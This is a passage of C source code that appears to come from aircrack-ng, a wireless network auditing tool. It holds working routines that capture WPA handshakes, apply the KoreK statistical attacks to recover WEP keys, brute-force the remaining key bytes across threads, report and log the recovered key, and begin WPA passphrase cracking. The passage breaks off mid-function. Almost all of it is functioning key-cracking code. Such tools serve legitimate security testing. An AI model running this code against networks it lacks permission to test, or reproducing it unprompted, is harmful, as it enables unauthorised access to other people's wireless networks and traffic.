*/ st_cur->wpa.keyver = h80211[z + 6] & 7; } } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) != 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); /* authenticator nonce set */ st_cur->wpa.state |= 1; } if( (st_cur->wpa.state & 4) != 4 ) { /* copy the MIC & eapol frame */ st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (st_cur->wpa.eapol_size == 0 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol) || pkh.len - z < st_cur->wpa.eapol_size) { // Ignore the packet trying to crash us. st_cur->wpa.eapol_size = 0; goto unlock_mx_apl; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); /* eapol frame & keymic set */ st_cur->wpa.state |= 4; /* copy the key descriptor version */ st_cur->wpa.keyver = h80211[z + 6] & 7; } } if( st_cur->wpa.state == 7 ) { /* got one valid handshake */ memcpy( st_cur->wpa.stmac, stmac, 6 ); memcpy( &ap_cur->wpa, &st_cur->wpa, sizeof( struct WPA_hdsk ) ); } unlock_mx_apl: pthread_mutex_unlock( &mx_apl ); if( ap_cur != NULL ) if( ap_cur->nb_ivs >= opt.max_ivs ) break; } read_fail: if(rb.buf1 != NULL) { free(rb.buf1); rb.buf1 = NULL; } if(rb.buf2 != NULL) { free(rb.buf2); rb.buf2 = NULL; } if(buffer != NULL) { free(buffer); buffer = NULL; } return; } /* timing routine */ float chrono( struct timeval *start, int reset ) { float delta; struct timeval current; gettimeofday( ¤t, NULL ); delta = ( current.tv_sec - start->tv_sec ) + (float) ( current.tv_usec - start->tv_usec ) / 1000000; if( reset ) gettimeofday( start, NULL ); return( delta ); } /* signal-safe I/O routines */ int safe_read( int fd, void *buf, size_t len ) { int n; size_t sum = 0; char *off = (char *) buf; while( sum < len ) { if( ! ( n = read( fd, (void *) off, len - sum ) ) ) { return( 0 ); } if( n < 0 && errno == EINTR ) continue; if( n < 0 ) return( n ); sum += n; off += n; } return( sum ); } int safe_write( int fd, void *buf, size_t len ) { int n; size_t sum = 0; char *off = (char *) buf; while( sum < len ) { if( ( n = write( fd, (void *) off, len - sum ) ) < 0 ) { if( errno == EINTR ) continue; return( n ); } sum += n; off += n; } return( sum ); } /* each thread computes the votes over a subset of the IVs */ int crack_wep_thread( void *arg ) { long xv, min, max; uchar jj[256]; uchar S[256], Si[256]; uchar K[64]; uchar io1, o1, io2, o2; uchar Sq, dq, Kq, jq, q; uchar S1, S2, J2, t2; int i, j, B, cid = (long) arg; int votes[N_ATTACKS][256]; //first: first S-Box Setup; first2:first round with new key; oldB: old B value int first=1, first2=1, oldB=0, oldq=0; memcpy( S, R, 256 ); memcpy( Si, R, 256 ); while( 1 ) { if(!first) oldB=B; if( safe_read( mc_pipe[cid][0], (void *) &B, sizeof( int ) ) != sizeof( int ) ) { perror( "read failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } if( close_aircrack ) break; first2=1; min = 5 * ( ( ( cid ) * wep.nb_ivs ) / opt.nbcpu ); max = 5 * ( ( ( 1 + cid ) * wep.nb_ivs ) / opt.nbcpu ); q = 3 + B; memcpy( K + 3, wep.key, B ); memset( votes, 0, sizeof( votes ) ); /* START: KoreK attacks */ for( xv = min; xv < max; xv += 5 ) { if(!first) { for(i=0; i= ( ( -q ) & 0xFF ) ) && ( ( ( q + S1 - io1 ) & 0xFF ) == 0 ) ) { Kq = 1 - dq; votes[A_u5_3][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_u5_3); } } if( ( S1 < q ) && ( ( ( S1 + S[S1] - q ) & 0xFF ) == 0 ) && ( io1 != 1 ) && ( io1 != S[S1] ) ) { Kq = io1 - dq; votes[A_s5_1][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_s5_1); } if( ( S1 > q ) && ( ( ( S2 + S1 - q ) & 0xFF ) == 0 ) ) { if( o2 == S1 ) { jq = Si[(S1 - S2) & 0xFF]; if( ( jq != 1 ) && ( jq != 2 ) ) { Kq = jq - dq; votes[A_s5_2][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_s5_2); } } else if( o2 == ( ( 2 - S2 ) & 0xFF ) ) { jq = io2; if( ( jq != 1 ) && ( jq != 2 ) ) { Kq = jq - dq; votes[A_s5_3][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_s5_3); } } } if( ( S[1] != 2 ) && ( S[2] != 0 ) ) { J2 = S[1] + S[2]; if( J2 < q ) { t2 = S[J2] + S[2]; if( ( t2 == q ) && ( io2 != 1 ) && ( io2 != 2 ) && ( io2 != J2 ) ) { Kq = io2 - dq; votes[A_s3][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_s3); } } } if( S1 == 2 ) { if( q == 4 ) { if( o2 == 0 ) { Kq = Si[0] - dq; votes[A_4_s13][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_4_s13); } else { if( ( jj[1] == 2 ) && ( io2 == 0 ) ) { Kq = Si[254] - dq; votes[A_4_u5_1][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_4_u5_1); } if( ( jj[1] == 2 ) && ( io2 == 2 ) ) { Kq = Si[255] - dq; votes[A_4_u5_2][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_4_u5_2); } } } else if( ( q > 4 ) && ( ( S[4] + 2 ) == q ) && ( io2 != 1 ) && ( io2 != 4 ) ) { Kq = io2 - dq; votes[A_u5_4][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_u5_4); } } if( close_aircrack ) break; } if( close_aircrack ) break; /* END: KoreK attacks */ if( safe_write( cm_pipe[cid][1], votes, sizeof( votes ) ) != sizeof( votes ) ) { perror( "write failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } } return( 0 ); } /* display the current votes */ void show_wep_stats( int B, int force, PTW_tableentry table[PTW_KEYHSBYTES][PTW_n], int choices[KEYHSBYTES], int depth[KEYHSBYTES], int prod ) { float delta; struct winsize ws; int i, et_h, et_m, et_s; static int is_cleared = 0; if( (chrono( &t_stats, 0 ) < 1.51 || wepkey_crack_success) && force == 0 ) return; if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 ) { ws.ws_row = 25; ws.ws_col = 80; } chrono( &t_stats, 1 ); delta = chrono( &t_begin, 0 ); et_h = delta / 3600; et_m = ( delta - et_h * 3600 ) / 60; et_s = delta - et_h * 3600 - et_m * 60; if( is_cleared == 0 ) { is_cleared++; if( opt.l33t ) printf( "\33[40m" ); printf( "\33[2J" ); } if( opt.l33t ) printf( "\33[34;1m" ); printf( "\33[2;%dH%s\n\n", (ws.ws_col - 12) / 2, progname ); if( opt.l33t ) printf( "\33[33;1m" ); if(table) printf( "\33[5;%dH[%02d:%02d:%02d] Tested %d keys (got %ld IVs)\33[K", (ws.ws_col - 44) / 2, et_h, et_m, et_s, prod, opt.ap->nb_ivs ); else printf( "\33[5;%dH[%02d:%02d:%02d] Tested %lld keys (got %ld IVs)\33[K", (ws.ws_col - 44) / 2, et_h, et_m, et_s, nb_tried, wep.nb_ivs_now ); if( opt.l33t ) printf( "\33[32;22m" ); printf( "\33[7;4HKB depth byte(vote)\n" ); for( i = 0; i <= B; i++ ) { int j, k = ( ws.ws_col - 20 ) / 11; if(!table) { if( opt.l33t ) printf( " %2d \33[1m%3d\33[22m/%3d ", i, wep.depth[i], wep.fudge[i] ); else printf( " %2d %3d/%3d ", i, wep.depth[i], wep.fudge[i] ); } else printf( " %2d %3d/%3d ", i, depth[i], choices[i] ); if(table) { for( j = depth[i]; j < k + depth[i]; j++ ) { if( j >= 256 ) break; if( opt.l33t ) printf( "\33[1m%02X\33[22m(%4d) ", table[i][j].b, table[i][j].votes ); else printf( "%02X(%4d) ", table[i][j].b, table[i][j].votes ); } } else { for( j = wep.depth[i]; j < k + wep.depth[i]; j++ ) { if( j >= 256 ) break; if( wep.poll[i][j].val == 32767 ) { if( opt.l33t ) printf( "\33[1m%02X\33[22m(+inf) ", wep.poll[i][j].idx ); else printf( "%02X(+inf) ", wep.poll[i][j].idx ); } else { if( opt.l33t ) printf( "\33[1m%02X\33[22m(%4d) ", wep.poll[i][j].idx, wep.poll[i][j].val ); else printf( "%02X(%4d) ", wep.poll[i][j].idx, wep.poll[i][j].val ); } } } if (opt.showASCII && !table) if(wep.poll[i][wep.depth[i]].idx>=ASCII_LOW_T && wep.poll[i][wep.depth[i]].idx<=ASCII_HIGH_T) if(wep.poll[i][wep.depth[i]].val>=ASCII_VOTE_STRENGTH_T || ASCII_DISREGARD_STRENGTH ) printf( " %c",wep.poll[i][wep.depth[i]].idx ); printf( "\n" ); } if( B < opt.keylen - 1 ) printf( "\33[J" ); printf( "\n" ); } static void key_found(unsigned char *wepkey, int keylen, int B) { FILE * keyFile; int i, n; int nb_ascii = 0; for( i = 0; i < keylen; i++ ) if( wepkey[i] == 0 || ( wepkey[i] >= 32 && wepkey[i] < 127 ) ) nb_ascii++; wepkey_crack_success = 1; memcpy(bf_wepkey, wepkey, keylen); if( opt.is_quiet ) printf( "KEY FOUND! [ " ); else { if (B != -1) show_wep_stats( B - 1, 1, NULL, NULL, NULL, 0 ); if( opt.l33t ) printf( "\33[31;1m" ); n = ( 80 - 14 - keylen * 3 ) / 2; if( 100 * nb_ascii > 75 * keylen ) n -= ( keylen + 4 ) / 2; if( n <= 0 ) n = 0; printf( "\33[K\33[%dCKEY FOUND! [ ", n ); } for( i = 0; i < keylen - 1; i++ ) printf( "%02X:", wepkey[i] ); printf( "%02X ] ", wepkey[i] ); if( nb_ascii == keylen ) { printf( "(ASCII: " ); for( i = 0; i < keylen; i++ ) printf( "%c", ( ( wepkey[i] > 31 && wepkey[i] < 127 ) || wepkey[i] > 160 ) ? wepkey[i] : '.' ); printf( " )" ); } if( opt.l33t ) printf( "\33[32;22m" ); printf( "\n\tDecrypted correctly: %d%%\n", opt.probability ); printf( "\n" ); // Write the key to a file if (opt.logKeyToFile != NULL) { keyFile = fopen(opt.logKeyToFile, "w"); if (keyFile != NULL) { for( i = 0; i < keylen; i++ ) fprintf(keyFile, "%02X", wepkey[i]); fclose(keyFile); } } } /* test if the current WEP key is valid */ int check_wep_key( uchar *wepkey, int B, int keylen ) { uchar x1, x2; unsigned long xv; int i, j, n, bad, tests; uchar K[64]; uchar S[256]; if (keylen<=0) keylen = opt.keylen; nb_tried++; bad = 0; memcpy( K + 3, wepkey, keylen ); tests = 32; // printf("keylen: %d\n", keylen); // if(keylen==13) // printf("%02X:%02X:%02X:%02X:%02X\n", wepkey[8],wepkey[9],wepkey[10],wepkey[11],wepkey[12]); if(opt.dict) tests = wep.nb_ivs; if(tests < TEST_MIN_IVS) tests=TEST_MIN_IVS; if(tests > TEST_MAX_IVS) tests=TEST_MAX_IVS; for( n = 0; n < tests; n++ ) { /* xv = 5 * ( rand() % wep.nb_ivs ); */ xv = 5 * n; pthread_mutex_lock( &mx_ivb ); memcpy( K, &wep.ivbuf[xv], 3 ); memcpy( S, R, 256 ); for( i = j = 0; i < 256; i++ ) { j = ( j + S[i] + K[i % (3 + keylen)]) & 0xFF; SWAP( S[i], S[j] ); } i = 1; j = ( 0 + S[i] ) & 0xFF; SWAP(S[i], S[j]); x1 = wep.ivbuf[xv + 3] ^ S[(S[i] + S[j]) & 0xFF]; i = 2; j = ( j + S[i] ) & 0xFF; SWAP(S[i], S[j]); x2 = wep.ivbuf[xv + 4] ^ S[(S[i] + S[j]) & 0xFF]; pthread_mutex_unlock( &mx_ivb ); // printf("xv: %li x1: %02X x2: %02X\n", (xv/5), x1, x2); if( ( x1 != 0xAA || x2 != 0xAA ) && ( x1 != 0xE0 || x2 != 0xE0 ) && ( x1 != 0x42 || x2 != 0x42 ) && ( x1 != 0x02 || x2 != 0xAA ) ) //llc sub layer management bad++; if( bad > ((tests*opt.probability)/100) ) return( FAILURE ); } opt.probability = (((tests-bad)*100)/tests); key_found(wepkey, keylen, B); return( SUCCESS ); } /* routine used to sort the votes */ int cmp_votes( const void *bs1, const void *bs2 ) { if( ((vote *) bs1)->val < ((vote *) bs2)->val ) return( 1 ); if( ((vote *) bs1)->val > ((vote *) bs2)->val ) return( -1 ); return( 0 ); } /* sum up the votes and sort them */ int calc_poll( int B ) { int i, n, cid, *vi; int votes[N_ATTACKS][256]; memset(&opt.votes, '\0', sizeof(opt.votes)); /* send the current keybyte # to each thread */ for( cid = 0; cid < opt.nbcpu; cid++ ) { n = sizeof( int ); if( safe_write( mc_pipe[cid][1], &B, n ) != n ) { perror( "write failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } } /* collect the votes, multiply by the korek coeffs */ for( i = 0; i < 256; i++ ) { wep.poll[B][i].idx = i; wep.poll[B][i].val = 0; } for( cid = 0; cid < opt.nbcpu; cid++ ) { n = sizeof( votes ); if( safe_read( cm_pipe[cid][0], votes, n ) != n ) { perror( "read failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } for( n = 0, vi = (int *) votes; n < N_ATTACKS; n++ ) for( i = 0; i < 256; i++, vi++ ) { wep.poll[B][i].val += *vi * K_COEFF[n]; if(K_COEFF[n]) opt.votes[n] += *vi; } } /* set votes to the max if the keybyte is user-defined */ if( opt.debug_row[B] ) wep.poll[B][opt.debug[B]].val = 32767; /* if option is set, restrict keyspace to alpha-numeric */ if( opt.is_alnum ) { for( i = 1; i < 32; i++ ) wep.poll[B][i].val = -1; for( i = 127; i < 256; i++ ) wep.poll[B][i].val = -1; } if( opt.is_fritz ) { for( i = 0; i < 48; i++ ) wep.poll[B][i].val = -1; for( i = 58; i < 256; i++ ) wep.poll[B][i].val = -1; } /* if option is set, restrict keyspace to BCD hex digits */ if( opt.is_bcdonly ) { for( i = 1; i < 256; i++ ) if( i > 0x99 || ( i & 0x0F ) > 0x09 ) wep.poll[B][i].val = -1; } /* sort the votes, highest ones first */ qsort( wep.poll[B], 256, sizeof( vote ), cmp_votes ); return( SUCCESS ); } int update_ivbuf( void ) { int n; struct AP_info *ap_cur; /* 1st pass: compute the total number of available IVs */ wep.nb_ivs_now = 0; wep.nb_aps = 0; ap_cur = ap_1st; while( ap_cur != NULL ) { if( ap_cur->crypt == 2 && ap_cur->target ) { wep.nb_ivs_now += ap_cur->nb_ivs; wep.nb_aps++; } ap_cur = ap_cur->next; } /* 2nd pass: create the main IVs buffer if necessary */ if( wep.nb_ivs == 0 || ( opt.keylen == 5 && wep.nb_ivs_now - wep.nb_ivs > 20000 ) || ( opt.keylen >= 13 && wep.nb_ivs_now - wep.nb_ivs > 40000 ) ) { /* one buffer to rule them all */ pthread_mutex_lock( &mx_ivb ); if( wep.ivbuf != NULL ) { free( wep.ivbuf ); wep.ivbuf = NULL; } wep.nb_ivs = 0; ap_cur = ap_1st; while( ap_cur != NULL ) { if( ap_cur->crypt == 2 && ap_cur->target ) { n = ap_cur->nb_ivs; if( ( wep.ivbuf = realloc( wep.ivbuf, ( wep.nb_ivs + n ) * 5 ) ) == NULL ) { pthread_mutex_unlock( &mx_ivb ); perror( "realloc failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } memcpy( wep.ivbuf + wep.nb_ivs * 5, ap_cur->ivbuf, 5 * n ); wep.nb_ivs += n; } ap_cur = ap_cur->next; } pthread_mutex_unlock( &mx_ivb ); return( RESTART ); } return( SUCCESS ); } /* * It will remove votes for a specific keybyte (and remove from the requested current value) * Return 0 on success, another value on failure */ int remove_votes(int keybyte, unsigned char value) { int i; int found = 0; for (i=0; i < 256; i++) { if (wep.poll[keybyte][i].idx == (int)value) { found = 1; //wep.poll[keybyte][i].val = 0; // Update wep.key } if (found) { // Put the value at the end with NO votes if (i== 255) { wep.poll[keybyte][i].idx = (int)value; wep.poll[keybyte][i].val = 0; } else { wep.poll[keybyte][i].idx = wep.poll[keybyte][i + 1].idx; wep.poll[keybyte][i].val = wep.poll[keybyte][i + 1].val; if (i == 0) { // Also update wep key if it's the first value to remove wep.key[keybyte] = wep.poll[keybyte][i].idx; } } } } return 0; } /* standard attack mode: */ /* this routine gathers and sorts the votes, then recurses until it * * reaches B == keylen. It also stops when the current keybyte vote * * is lower than the highest vote divided by the fudge factor. */ int do_wep_crack1( int B ) { int i, j, l, m, tsel, charread, askchange; int remove_keybyte_nr, remove_keybyte_value; //int a,b; static int k = 0; char user_guess[4]; askchange = 1; get_ivs: switch( update_ivbuf() ) { case FAILURE: return( FAILURE ); case RESTART: return( RESTART ); default: break; } if( ( wep.nb_ivs_now < 256 && opt.debug[0] == 0 ) || ( wep.nb_ivs_now < 32 && opt.debug[0] != 0 ) ) { if( ! opt.no_stdin ) { printf( "Not enough IVs available. You need about 250 000 IVs to crack\n" "40-bit WEP, and more than 800 000 IVs to crack a 104-bit key.\n" ); kill( 0, SIGTERM ); _exit( FAILURE ); } else { printf( "Read %ld packets, got %ld IVs...\r", nb_pkt, wep.nb_ivs_now ); fflush( stdout ); sleep( 1 ); goto get_ivs; } } /* if last keybyte reached, check if the key is valid */ if( B == opt.keylen ) { if( ! opt.is_quiet ) show_wep_stats( B - 1, 0, NULL, NULL, NULL, 0 ); return( check_wep_key( wep.key, B, 0 ) ); } /* now compute the poll resultst for keybyte B */ if( calc_poll( B ) != SUCCESS ) return( FAILURE ); /* fudge threshold = higest vote divided by fudge factor */ for( wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++ ) if( (float) wep.poll[B][wep.fudge[B]].val < (float) wep.poll[B][0].val / opt.ffact ) break; /* try the most likely n votes, where n is the fudge threshold */ for( wep.depth[B] = 0; wep.depth[B] < wep.fudge[B]; ( wep.depth[B] )++ ) { switch( update_ivbuf() ) { case FAILURE: return( FAILURE ); case RESTART: return( RESTART ); default: break; } wep.key[B] = wep.poll[B][wep.depth[B]].idx; if( ! opt.is_quiet ) { show_wep_stats( B, 0, NULL, NULL, NULL, 0 ); } if( B == 4 && opt.keylen == 13 ) { /* even when cracking 104-bit WEP, * * check if the 40-bit key matches */ /* opt.keylen = 5; many functions use keylen. it is dangerous to do this in a multithreaded process */ if( check_wep_key( wep.key, B, 5 ) == SUCCESS ) { opt.keylen = 5; return( SUCCESS ); } /* opt.keylen = 13; */ } if( B + opt.do_brute + 1 == opt.keylen && opt.do_brute ) { /* as noted by Simon Marechal, it's more efficient * to just bruteforce the last two keybytes. */ /* Ask for removing votes here 1. Input keybyte. Use enter when it's done => Bruteforce will start 2. Input value to remove votes from: 00 -> FF or Enter to cancel remove 3. Remove votes 4. Redraw 5. Go back to 1 */ if (opt.visual_inspection == 1) { while(1) { // Show the current stat show_wep_stats( B, 1, NULL, NULL, NULL, 0 ); // Inputting user value until it hits enter or give a valid value printf("On which keybyte do you want to remove votes (Hit Enter when done)? "); memset(user_guess, 0, 4); charread = readLine(user_guess, 3); // Break if 'Enter' key was hit if (user_guess[0] == 0 || charread == 0) break; // If it's not a number, reask // Check if inputted value is correct (from 0 to and inferior to opt.keylen) remove_keybyte_nr = atoi(user_guess); if (isdigit((int)user_guess[0]) == 0 || remove_keybyte_nr < 0 || remove_keybyte_nr >= opt.keylen) continue; // It's a number for sure and the number is correct // Now ask which value should be removed printf("From which keybyte value do you want to remove the votes (Hit Enter to cancel)? "); memset(user_guess, 0, 4); charread = readLine(user_guess, 3); // Break if enter was hit if (user_guess[0] == 0 || charread == 0) continue; remove_keybyte_value = hexToInt(user_guess, charread); // Check if inputted value is correct (hexa). Value range: 00 - FF if (remove_keybyte_value < 0 || remove_keybyte_value > 255) continue; // If correct, remove and redraw remove_votes(remove_keybyte_nr, (unsigned char)remove_keybyte_value); } } if (opt.nbcpu==1 || opt.do_mt_brute==0) { if (opt.do_brute==4) { for( l = 0; l < 256; l++) { wep.key[opt.brutebytes[0]] = l; for( m = 0; m < 256; m++ ) { wep.key[opt.brutebytes[1]] = m; for( i = 0; i < 256; i++ ) { wep.key[opt.brutebytes[2]] = i; for( j = 0; j < 256; j++ ) { wep.key[opt.brutebytes[3]] = j; if (check_wep_key( wep.key, B + 1, 0 ) == SUCCESS) return SUCCESS; } } } } } else if (opt.do_brute==3) { for( m = 0; m < 256; m++ ) { wep.key[opt.brutebytes[0]] = m; for( i = 0; i < 256; i++ ) { wep.key[opt.brutebytes[1]] = i; for( j = 0; j < 256; j++ ) { wep.key[opt.brutebytes[2]] = j; if (check_wep_key( wep.key, B + 1, 0 ) == SUCCESS) return SUCCESS; } } } } else if (opt.do_brute==2) { for( i = 0; i < 256; i++ ) { wep.key[opt.brutebytes[0]] = i; for( j = 0; j < 256; j++ ) { wep.key[opt.brutebytes[1]] = j; if (check_wep_key( wep.key, B + 1, 0 ) == SUCCESS) return SUCCESS; } } } else { for( i = 0; i < 256; i++ ) { wep.key[opt.brutebytes[0]] = i; if (check_wep_key( wep.key, B + 1, 0 ) == SUCCESS) return SUCCESS; } } } else { /* multithreaded bruteforcing of the last 2 keybytes */ k = (k+1) % opt.nbcpu; do { for(tsel=0; tsel16) { usleep(1); continue; } else { /* write our current key to the pipe so it'll have its last 2 bytes bruteforced */ bf_nkeys[(tsel+k) % opt.nbcpu]++; if (safe_write(bf_pipe[(tsel+k) % opt.nbcpu][1], (void *) wep.key, 64) != 64) { perror( "write pmk failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } break; } } } while (tsel>=opt.nbcpu && !wepkey_crack_success); if (wepkey_crack_success) { memcpy(wep.key, bf_wepkey, opt.keylen); return(SUCCESS); } } } else { switch( do_wep_crack1( B + 1 ) ) { case SUCCESS: return( SUCCESS ); case RESTART: return( RESTART ); default: break; } } } //if we are going to fail on the root byte, check again if there are still threads bruting, if so wait and check again. if(B==0) { for(i=0; i0 && !wepkey_crack_success) usleep(1); } if (wepkey_crack_success) { memcpy(wep.key, bf_wepkey, opt.keylen); return(SUCCESS); } } return( FAILURE ); } /* experimental single bruteforce attack */ int do_wep_crack2( int B ) { int i, j; switch( update_ivbuf() ) { case FAILURE: return( FAILURE ); case RESTART: return( RESTART ); default: break; } if( wep.nb_ivs_now / opt.keylen < 60000 ) { printf( "Not enough IVs available. This option is only meant to be used\n" "if the standard attack method fails with more than %d IVs.\n", opt.keylen * 60000 ); kill( 0, SIGTERM ); _exit( FAILURE ); } for( i = 0; i <= B; i++ ) { if( calc_poll( i ) != SUCCESS ) return( FAILURE ); wep.key[i] = wep.poll[i][0].idx; wep.fudge[i] = 1; wep.depth[i] = 0; if( ! opt.is_quiet ) show_wep_stats( i, 0, NULL, NULL, NULL, 0 ); } for( wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++ ) if( (float) wep.poll[B][wep.fudge[B]].val < (float) wep.poll[B][0].val / opt.ffact ) break; for( wep.depth[B] = 0; wep.depth[B] < wep.fudge[B]; wep.depth[B]++ ) { switch( update_ivbuf() ) { case FAILURE: return( FAILURE ); case RESTART: return( RESTART ); default: break; } wep.key[B] = wep.poll[B][wep.depth[B]].idx; if( ! opt.is_quiet ) show_wep_stats( B, 0, NULL, NULL, NULL, 0 ); for( i = B + 1; i < opt.keylen - 2; i++ ) { if( calc_poll( i ) != SUCCESS ) return( FAILURE ); wep.key[i] = wep.poll[i][0].idx; wep.fudge[i] = 1; wep.depth[i] = 0; if( ! opt.is_quiet ) show_wep_stats( i, 0, NULL, NULL, NULL, 0 ); } for( i = 0; i < 256; i++ ) { wep.key[opt.keylen - 2] = i; for( j = 0; j < 256; j++ ) { wep.key[opt.keylen - 1] = j; if( check_wep_key( wep.key, opt.keylen - 2, 0 ) == SUCCESS ) return( SUCCESS ); } } } return( FAILURE ); } int inner_bruteforcer_thread(void *arg) { int i, j, k, l, reduce=0; size_t nthread = (size_t)arg; uchar wepkey[64]; int ret=0; inner_bruteforcer_thread_start: reduce=0; if( close_aircrack ) return(ret); if (wepkey_crack_success) return(SUCCESS); /* we get the key for which we'll bruteforce the last 2 bytes from the pipe */ if( safe_read( bf_pipe[nthread][0], (void *) wepkey, 64) != 64) { perror( "read failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } else reduce=1; if( close_aircrack ) return(ret); /* now we test the 256*256 keys... if we succeed we'll save it and exit the thread */ if (opt.do_brute==4) { for( l = 0; l < 256; l++ ) { wepkey[opt.brutebytes[0]] = l; for( k = 0; k < 256; k++ ) { wepkey[opt.brutebytes[1]] = k; for( i = 0; i < 256; i++ ) { wepkey[opt.brutebytes[2]] = i; for( j = 0; j < 256; j++ ) { wepkey[opt.brutebytes[3]] = j; if( check_wep_key( wepkey, opt.keylen - 2, 0 ) == SUCCESS ) return(SUCCESS); } } } } } else if (opt.do_brute==3) { for( k = 0; k < 256; k++ ) { wepkey[opt.brutebytes[0]] = k; for( i = 0; i < 256; i++ ) { wepkey[opt.brutebytes[1]] = i; for( j = 0; j < 256; j++ ) { wepkey[opt.brutebytes[2]] = j; if( check_wep_key( wepkey, opt.keylen - 2, 0 ) == SUCCESS ) return(SUCCESS); } } } } else if (opt.do_brute==2) { for( i = 0; i < 256; i++ ) { wepkey[opt.brutebytes[0]] = i; for( j = 0; j < 256; j++ ) { wepkey[opt.brutebytes[1]] = j; if( check_wep_key( wepkey, opt.keylen - 2, 0 ) == SUCCESS ) return(SUCCESS); } } } else { for( j = 0; j < 256; j++ ) { wepkey[opt.brutebytes[0]] = j; if( check_wep_key( wepkey, opt.keylen - 2, 0 ) == SUCCESS ) return(SUCCESS); } } if(reduce) bf_nkeys[nthread]--; goto inner_bruteforcer_thread_start; } /* display the current wpa key info, matrix-like */ void show_wpa_stats( char *key, int keylen, uchar pmk[32], uchar ptk[64], uchar mic[16], int force ) { float delta; int i, et_h, et_m, et_s; char tmpbuf[28]; if (chrono( &t_stats, 0 ) < 0.15 && force == 0) return; if (force != 0) pthread_mutex_lock(&mx_wpastats); // if forced, wait until we can lock else if (pthread_mutex_trylock(&mx_wpastats) != 0) // if not forced, just try return; chrono( &t_stats, 1 ); delta = chrono( &t_begin, 0 ); et_h = delta / 3600; et_m = ( delta - et_h * 3600 ) / 60; et_s = delta - et_h * 3600 - et_m * 60; if( ( delta = chrono( &t_kprev, 0 ) ) >= 6 ) { int delta0; delta0 = delta; t_kprev.tv_sec += 3; delta = chrono( &t_kprev, 0 ); nb_kprev *= delta / delta0; } if (_speed_test) { int ks = (int) ((float) nb_kprev / delta); printf("%d k/s\r", ks); fflush(stdout); if (et_s >= 5) { printf("\n"); exit(0); } goto __out; } if( opt.l33t ) printf( "\33[33;1m" ); printf( "\33[5;20H[%02d:%02d:%02d] %lld keys tested " "(%2.2f k/s)", et_h, et_m, et_s, nb_tried, (float) nb_kprev / delta); memset( tmpbuf, ' ', sizeof( tmpbuf ) ); memcpy( tmpbuf, key, keylen > 27 ? 27 : keylen ); tmpbuf[27] = '\0'; if( opt.l33t ) printf( "\33[37;1m" ); printf( "\33[8;24HCurrent passphrase: %s\n", tmpbuf ); if( opt.l33t ) printf( "\33[32;22m" ); printf( "\33[11;7HMaster Key : " ); if( opt.l33t ) printf( "\33[32;1m" ); for( i = 0; i < 32; i++ ) { if( i == 16 ) printf( "\n\33[23C" ); printf( "%02X ", pmk[i] ); } if( opt.l33t ) printf( "\33[32;22m" ); printf( "\33[14;7HTransient Key : " ); if( opt.l33t ) printf( "\33[32;1m" ); for( i = 0; i < 64; i++ ) { if( i > 0 && i % 16 == 0 ) printf( "\n\33[23C" ); printf( "%02X ", ptk[i] ); } if( opt.l33t ) printf( "\33[32;22m" ); printf( "\33[19;7HEAPOL HMAC : " ); if( opt.l33t ) printf( "\33[32;1m" ); for( i = 0; i < 16; i++ ) printf( "%02X ", mic[i] ); printf( "\n" ); __out: pthread_mutex_unlock(&mx_wpastats); } int crack_wpa_thread( void *arg ) { FILE * keyFile; char essid[36]; char key[4][128]; uchar pmk[4][128]; uchar pke[100]; uchar ptk[4][80]; uchar mic[4][20]; struct WPA_data* data; struct AP_info* ap; int thread; int ret=0; int i, j, len, slen; int nparallel = 1; #if defined(__i386__) || defined(__x86_64__) // Check for SSE2, with SSE2 the algorithm works with 4 keys if (shasse2_cpuid()>=2) nparallel = 4; #endif data = (struct WPA_data*)arg; ap = data->ap; thread = data->thread; strncpy(essid, ap->essid, 36); /* pre-compute the key expansion buffer */ memcpy( pke, "Pairwise key expansion", 23 ); if( memcmp( ap->wpa.stmac, ap->bssid, 6 ) < 0 ) { memcpy( pke + 23, ap->wpa.stmac, 6 ); memcpy( pke + 29, ap->bssid, 6 ); } else { memcpy( pke + 23, ap->bssid, 6 ); memcpy( pke + 29, 